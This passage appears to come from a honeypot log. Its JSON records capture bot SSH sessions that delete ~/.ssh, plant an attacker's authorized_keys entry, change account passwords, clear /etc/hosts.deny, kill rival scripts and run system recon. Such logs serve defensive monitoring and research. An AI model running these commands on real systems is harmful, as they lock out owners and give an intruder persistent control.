2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:57:47.008154+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"hduser","password":"hduser","method":"password","accepted":true,"tier":"other"}]} {"id":"d495506e-6814-4117-abf8-23cde34ce18c","name":"rambling-keen-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57380,"username":"joy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:55:48.231939+00:00","ended_at":"2026-08-27T07:55:50.258474+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-27T07:55:28.443961+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:55:28.776607+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:55:34.159561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:55:35.039569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:55:35.373917+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\naFFXrcRp5ejJ\\naFFXrcRp5ejJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:55:35.705608+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\naFFXrcRp5ejJ\\naFFXrcRp5ejJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:55:36.039023+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:55:36.417767+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:55:36.752923+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:55:37.743338+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:55:38.080416+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:55:39.351330+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:55:39.688404+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:55:40.008053+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:55:40.342888+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:55:40.671907+00:00","kind":"output","latency_ms":null,"data":" 07:55:40 up 7 days, 4:45, 0 user, load average: 0.3, 0.28, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:55:41.008436+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:55:41.502566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:55:41.836030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:55:42.291352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:55:42.634930+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:55:43.412528+00:00","kind":"output","latency_ms":null,"data":"top - 07:55:43 up 7 days, 4:45, 0 user, load average: 0.3, 0.28, 0.19\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:55:43.745943+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:55:44.613378+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:55:44.947622+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:55:45.453257+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:55:45.787605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:55:46.524312+00:00","kind":"output","latency_ms":null,"data":"joy"},{"seq":29,"at":"2026-08-27T07:55:46.861111+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:55:47.898833+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:55:48.232727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:55:50.159099+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"joy","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"a52258ef-1abf-4146-ac32-2ac0ccdddfff","name":"twilight-keen-martin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":37848,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:53:45.879113+00:00","ended_at":"2026-08-27T07:53:47.990566+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2262,"events":[{"seq":1,"at":"2026-08-27T07:53:27.228787+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:53:27.560048+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:53:32.035906+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:53:32.772404+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:53:33.108619+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@$$w0rd123\\nwP80VaIfaMyP\\nwP80VaIfaMyP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:53:33.441565+00:00","kind":"input","latency_ms":null,"data":"echo \"P@$$w0rd123\\nwP80VaIfaMyP\\nwP80VaIfaMyP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:53:33.775251+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:53:34.053831+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:53:34.394096+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:53:35.276236+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:53:35.623463+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:53:36.727080+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:53:37.064688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:53:37.480762+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:53:37.815296+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:53:38.141351+00:00","kind":"output","latency_ms":null,"data":" 07:53:38 up 7 days, 4:43, 0 user, load average: 0.18, 0.18, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:53:38.475789+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:53:38.935963+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:53:39.270602+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:53:39.987112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:53:40.321233+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:53:41.100297+00:00","kind":"output","latency_ms":null,"data":"top - 07:53:41 up 7 days, 4:43, 0 user, load average: 0.18, 0.18, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:53:41.434191+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:53:42.149751+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:53:42.484938+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:53:42.762950+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:53:43.098767+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:53:43.661639+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T07:53:43.995038+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:53:45.544616+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:53:45.879791+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:53:47.889893+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"P@$$w0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"526ccc32-3278-43c2-8f81-18ffc9142ec7","name":"watchful-subtle-badger","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":46544,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:51:40.258908+00:00","ended_at":"2026-08-27T07:51:42.100928+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T07:51:21.830687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:51:22.153776+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:51:25.887329+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:51:26.692546+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:51:27.018412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4lV1QkNsoZg6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:51:27.340120+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:51:27.663398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:51:28.110202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:51:28.434282+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:51:29.776196+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:51:30.119598+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:51:31.118398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:51:31.443545+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:51:32.174164+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:51:32.501545+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:51:33.230822+00:00","kind":"output","latency_ms":null,"data":" 07:51:33 up 7 days, 4:41, 0 user, load average: 0.32, 0.38, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:51:33.555018+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:51:34.380465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:51:34.703559+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:51:35.172533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:51:35.497358+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:51:36.330638+00:00","kind":"output","latency_ms":null,"data":"top - 07:51:36 up 7 days, 4:41, 0 user, load average: 0.32, 0.38, 0.2\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:51:36.654822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:51:37.258566+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:51:37.584245+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:51:38.101429+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:51:38.426604+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:51:38.682425+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:51:39.007242+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:51:39.934530+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:51:40.259708+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:51:42.007128+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwer@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c1b94865-7f0a-4723-a31c-97a41e6bf634","name":"prairie-bitter-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55244,"username":"fecjl1yg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:49:36.271185+00:00","ended_at":"2026-08-27T07:49:37.460032+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2283,"events":[{"seq":1,"at":"2026-08-27T07:49:18.760781+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:49:19.088830+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:49:22.651331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:49:23.434253+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:49:23.759916+00:00","kind":"input","latency_ms":null,"data":"echo -e \"3sScGbQLYlTZvYdQqsZA\\nowl1mhHguzuc\\nowl1mhHguzuc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:49:24.084085+00:00","kind":"input","latency_ms":null,"data":"echo \"3sScGbQLYlTZvYdQqsZA\\nowl1mhHguzuc\\nowl1mhHguzuc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:49:24.409106+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:49:24.843860+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:49:25.171295+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:49:26.043517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:49:26.370617+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:49:27.248679+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:49:27.575200+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:49:28.399965+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:49:28.724246+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:49:29.155312+00:00","kind":"output","latency_ms":null,"data":" 07:49:29 up 7 days, 4:39, 0 user, load average: 0.08, 0.09, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:49:29.481770+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:49:29.965506+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:49:30.288710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:49:30.880308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:49:31.205909+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:49:31.612737+00:00","kind":"output","latency_ms":null,"data":"top - 07:49:31 up 7 days, 4:39, 0 user, load average: 0.08, 0.09, 0.06\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:49:31.939021+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:49:32.509358+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:49:32.833950+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:49:33.676496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:49:34.003276+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:49:34.433721+00:00","kind":"output","latency_ms":null,"data":"fecjl1yg"},{"seq":29,"at":"2026-08-27T07:49:34.759968+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:49:35.945668+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:49:36.272989+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:49:37.363939+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","method":"password","accepted":true,"tier":"other"}]} {"id":"fe1dcfdf-bc8f-4ee3-89e4-bf34ef8e35ff","name":"wooded-crisp-woodcock","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":35710,"username":"ali","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:47:25.569658+00:00","ended_at":"2026-08-27T07:47:27.048008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T07:47:05.964538+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:47:06.310616+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:47:10.731694+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:47:11.392201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:47:11.740898+00:00","kind":"input","latency_ms":null,"data":"echo -e 